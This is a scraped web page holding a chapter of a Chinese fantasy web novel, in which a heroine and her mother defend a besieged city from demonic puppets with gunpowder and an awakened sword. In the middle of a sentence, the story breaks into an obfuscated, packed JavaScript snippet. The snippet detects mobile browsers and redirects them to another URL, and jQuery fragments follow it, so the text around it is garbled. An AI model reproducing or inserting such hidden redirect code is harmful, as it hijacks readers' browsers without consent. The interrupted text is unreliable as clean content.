默认冷灰
24号文字
方正启体

4. 第 4 章

作者:七白蓠本书字数:K更新时间:
    谢寻艰涩开口:“仙符……不见了。”


    她想过隐瞒仙符丢失的事情,但最终还是选择实话实说,这事她不能瞒,也瞒不住。


    众人脸上血色褪尽,“是,是不是找错地方了?”


    有人一时不察,撞在石柱上,刚包好的伤口瞬间裂开,点点血花溅落在青石地上,触目惊心。


    苏元柃强压心头惊涛,冷声喝止:“别慌,往日我们没有仙符不也过来了,今日何惧之有?”


    她目光锐利如剑,迅速发号施令:“一队速去点燃信号通报府主,其余人等结阵御敌,务必护百姓周全!


    “此事,先不要让百姓知道,大家……”苏元柃掌心攥紧:“需要一个希望。”


    不知是城门守住了,还是魔傀退了,众人难得多享受了一日宁静,府门内外皆被他们加固了好几层。


    次日夜色刚深,魔傀再袭,众人迅速结成防御阵形,将伤员和百姓护在中间。内圈中青壮男子抄起身边棍棒菜刀,将老弱妇孺护在中心。


    谢寻先前怀疑魔傀是为仙符而来,但如今仙符已丢,为何魔傀还不撤?


    嘭!”


    巨响猝然炸响,脚下青石板都在发颤,院角老槐树的枝丫都被震掉数片残叶。


    谢寻耳尖微动,转瞬便辨明方向:“是北城门!”


    她指节不自觉扣紧腰间佩剑,父亲动用了火药。


    那是朝廷特送秘器,早有叮嘱:威力甚巨,伤敌亦伤己,非危急时刻不可用。


    如今父亲破禁,应是想借巨响向周遭府州示警,能引来驰援最好。


    府衙附近亦有一处火药分存点,只是缺少印子钱。


    库房倒是有,外面魔魁重重,如何能冲出去。


    正思忖间,巷口已传来沉重脚步声。


    咚、咚、咚……


    每一步都震得石板微颤,像踩在人心尖上,不给她思考的空间。


    谢寻快步走到母亲苏元柃面前,声音压得极低:“阿娘,北城门已动火药,我去后院取引子。”


    苏元柃刚带人用巨木顶死大门,布下绊马索与火油,抬手将鬓边滑落的发丝别回耳后,“去吧,这里交给我。”


    谢寻疾步穿廊,石板被踏出连串轻响。


    一进库房便看到墙角木箱,她手脚麻利地取了油纸裹好的引信,直奔火药藏点。


    街巷间哭声、喊声乱作一团,烟尘呛得人喉间发涩。谢寻匆匆撕了块布,用水浸湿,给一侧孩童遮住口鼻,又叮嘱众人先寻个藏身之所。


    刚至火药藏点,魔傀脚步已在耳侧,她屏息捻动火折子,引信触火,动作干脆。


    “哧”的一声轻响,一缕青烟袅袅升起,带着刺鼻的硫磺气息。


    魔傀来得比预想的还要多,倒省了她费心思去引。


    她还记得父亲的叮嘱:点火后需即刻撤离,稍有迟疑便会尸骨无存。


    确保引信不断,转身便向远处奔去。


    “嘭!”


    一声巨响震裂夜雾,气浪瞬间席卷街巷。巷口断垣上的碎石,簌簌滚落,近处魔傀瞬间皆被碎石击中,化为满地残骸。


    杨伍长被地动吓了一跳,忙禀告谢藏:“大人!是府衙。”


    谢藏清退一批魔傀,眸中满是忧色:“那处我未留引,如今炸响,必是阿寻相告。”


    这火药威力甚大,他去都险些受伤,不知府衙那处是谁去的,安危如何。


    谢寻被气浪掀撞在府衙大门上,后背传来一阵火辣辣的疼,她强撑着扶住门框起身。


    这后背跟了她,也是遭了老罪了。


    她稳住身形往前站了半步,“大家莫慌!纵使没有仙符,凭火药与利刃,我们照样能击退魔傀,守住镇北城!”


    两旁百姓见她面色苍白,衣服上血迹斑斑,却站得笔直,慌乱之心竟渐渐安定下来。


    小姐尚且能为镇北城如此拼命,他们绝不能怂!


    纷纷握紧了手中棍棒刀枪,齐声应和:“定不让小姐失望,我等愿随小姐夫人共守镇北城!”


    她提剑纵身,颈侧伤口因剧烈动作再度崩裂,鲜血顺着脖颈流淌在归尘剑上。剑身嗡鸣,泛起一层微弱的金光,将毒雾驱散。


    谢寻只觉体内似有什么桎梏被打破了,浑身轻盈。


    她振剑划出一道耀眼的金色弧线,直刺魔傀眉心的黑气源头。


    扑哧!


    归元剑直刺眉心,魔傀动作一滞,周身翻涌的黑气如潮水般崩解溃散,庞大身躯轰然倒地,震得地面微颤。


    众人士气大振,有人高声喊道:“阿寻年幼尚能以命守城,我等若是退了,岂不是连个孩子都不如!”


    只一击已耗尽谢寻所有力量,先前强撑的那股韧劲儿,此刻如断弦般倏然崩散。


    此刻只觉眼前发黑,力量正如同退潮般急速消散,四肢酸软。


    余光里,几具魔傀竟撇开旁人,直直朝她冲来,她不由得开始怀疑,魔傀目标到底是什么?


    意识逐渐模糊,双腿一软,谢寻直直朝着地面倒去。


    归尘剑哐当落地,在青石地上滚出数尺,发出沉闷的回响。


    她想抬手去抓,却连抬起手指的力气都没有。耳边的厮杀声、呼喊声渐渐遥远,最终只剩一片模糊的嗡鸣。


    “阿寻!”苏元柃斩落魔傀,提剑上前将人接住。


    谢寻嘴唇翕动,触到递来的剑柄,攥紧便坠入黑暗。


    苏元柃又心疼又好笑,发颤的指尖紧扣脉搏,感受到那丝微弱跳动时,紧绷的脊背微微松懈。


    幸好,幸好。


    她敛去眼底余悸,声音虽哑却字字铿锵:“今夜魔傀应是不会来了。”


    “王恒带两人往库房取上等金疮药,杜岩带人将伤重者抬至内室静养,务必寻块洁净之地。”


    “余下众人即刻加固院墙,清点伤亡,万不能给下一波魔傀可乘之机!”


    众人闻声而动,一切乱中有序。


    苏元柃处理完一切,方得空去看谢寻,她站在木板搭出的简易床榻前,垂眸不语,睫毛在眼下投出浅浅的阴影。


    半晌,取来干净布巾,蘸了温水细细擦拭谢寻颈侧的伤口。见谢寻蹙眉,手下动作又轻了些。


    府衙防御已有破损迹象,吃食和伤药也撑不了几日,魔傀攻势又如此凶猛。


    苏元柃眉心疼得厉害,她深吸口气,指腹用力按住眉心,院中众人还在等着她,她必须尽快拿出主意。


    府衙内烛火摇曳,血腥味透过门缝钻进来。


    谢寻睁眼,便见个垂髫稚童蹲在跟前,发梢微乱,衣衫却齐整,身上并无半分伤痕。


    那孩童见她醒转,眸子瞬时亮如星子,凑近唤道:“阿寻姐姐,你醒啦!魔傀都被大伯们捆住了!”


    声音软糯,谢寻抬手在她头上揉了下,侧身果真见到不少眉心被捅出大洞的魔傀,被百姓们五花大绑,绳结紧扣四肢,连脖颈处都绕了三圈有余。


    其中一具魔傀似有所感,原本垂落的头颅猛地一抬,眼窝中幽光闪动,视线紧盯


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17541903|203952||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    谢寻。


    下一瞬,周遭数十具魔傀竟齐齐转头,脖颈转动时发出“咔嗒”脆响。


    黑压压的头颅朝同一方向扭转,看得周围百姓脊背一僵,暗自庆幸当时绑得紧。


    王恒反应迅速,跨步上前,一脚将最近的魔傀踹入土坑,声音急促:“快埋,迟则生变!”


    周围众人清醒过来,后背都汗湿了,便是魔傀被困住,他们还是汗毛倒竖。


    手忙脚乱地抬着魔傀往土坑中送,铁铲翻飞间泥土簌簌落下。


    为了安心,还有人提来砂石倾倒入坑,层层覆压,将魔傀埋得严严实实,连一丝缝隙都未留下。


    即便如此,众人仍觉后颈发凉。


    坑底数双眼睛穿透土层,死死窥伺上方,那股惊悚感如附骨之疽,久久不散。


    屋内烛火摇曳,橘黄光晕轻轻裹着榻边身影,映得帐幔边角的暗纹微微发亮。


    阿宝小手探入怀中,摸出半块皱巴巴的芝麻饼,小心翼翼地捧在掌心:“阿寻姐姐你睡了好久,饿不饿?阿宝这里还有半块饼,可好吃啦。”


    话音刚落,“咕噜”一声轻响从阿宝腹间传来。她顿时红了脸颊,不好意思地啃了下拇指,小手轻拍肚子道:“臭肚子,不要乱叫!”


    谢寻唇边漾起一抹浅笑,撑着身子坐起,在阿宝的鼻尖上轻轻一点,柔声道:“姐姐不饿,阿宝乖,自己吃罢。”


    阿宝把头摇得像拨浪鼓,举着饼的手硬是不肯放:“阿寻姐姐打魔傀辛苦了,你吃。”


    见谢寻一脸疲惫,何氏忙上前将阿宝往后拉了拉。她揉着阿宝的发髻,声音温和:“阿宝,姐姐刚醒,还要歇息,你跟阿娘去给姐姐找点水,好吗。”


    “嗯!”阿宝脆生生地点头,转身前踮脚将芝麻饼塞进谢寻手里,眉眼弯得像月牙,这才跟着何氏出门:“阿寻姐姐一定要吃呀,吃饱才有力气打魔傀!”


    谢寻指尖捏着温热的饼,是她往日最常坑阿爹买的芝麻饼,甜意入喉,却让她心头发涩。


    阿宝的眼神、阿娘紧绷的脊背、满城百姓的安危,心头那股往日只为稳住人设的硬撑,如今反倒生出几分想真的努力一把的冲动。


    正想着,王恒脚步匆匆闯进来,衣袍上还沾着尘土与血渍,带进一阵冷风屋外的凶险情形,半句也不敢隐瞒。


    谢听在耳里言,近几日发生之事在眼前一幕幕飞速掠过。


    城门被破、魔傀直扑府衙、王霖临终那句提醒,乃至方才自己引火药时的异样……


    这一桩桩,一件件似乎都在指向一点。


    谢寻轻声掀开身上薄毯:“阿娘,魔傀素来狡诈,绝不会轻易退去,我出去瞧瞧。”


    “不行!”苏元柃想也没想便拒绝,抹药的手猛地一顿,药膏落在谢寻肩头的衣料上晕开浅痕,“现在外面全是魔傀,出去就是送死!”


    谢寻垂眸看了眼肩头的药渍,指尖在薄毯上摩挲,或许,它们要的,从来不是仙符。


    她抬手抚上归尘剑,冰凉的触感让她纷乱的思绪渐渐沉下来。


    半晌,谢寻抬眼,眼底只剩一片笃定:“阿娘,它们的目标不是仙符。”


    空气骤然静了一瞬,谢寻迎着苏元柃骤然收紧的目光,声音平静:“您早就想到了,不是吗?”


    苏元柃并非没有想过,只是这想法太过荒谬,她难以相信,“许是你想错了。”


    话音未落,归尘剑忽然轻震颤一下,谢寻似听到一道极轻的脚步,自远而近,最终停在他们屋舍窗下停下。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)